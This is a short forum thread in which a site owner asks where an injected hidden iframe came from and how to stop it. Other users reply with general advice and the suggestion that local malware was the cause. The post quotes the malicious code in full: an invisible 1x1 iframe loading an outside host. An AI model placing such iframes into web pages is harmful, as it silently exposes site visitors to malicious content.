Appearing of the unknown code on the site

[eluser]emperius[/eluser]
Last time there appears an unknown code on the different sites from time to time:

<iframe src="http://nipkelo.net/?click=50B977" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

Antivirus recognizes it as a virus.
Is it possible to determine where is appears from and how to secure myself from such changes in the source code?

[eluser]xwero[/eluser]
secure your server, validate input data from every source.

[eluser]gyo[/eluser]
It happened to me yesterday... it was a virus on my computer, not the server.

Apparently it injects those iframes into the html files I'm working on... weird!

Hope it helps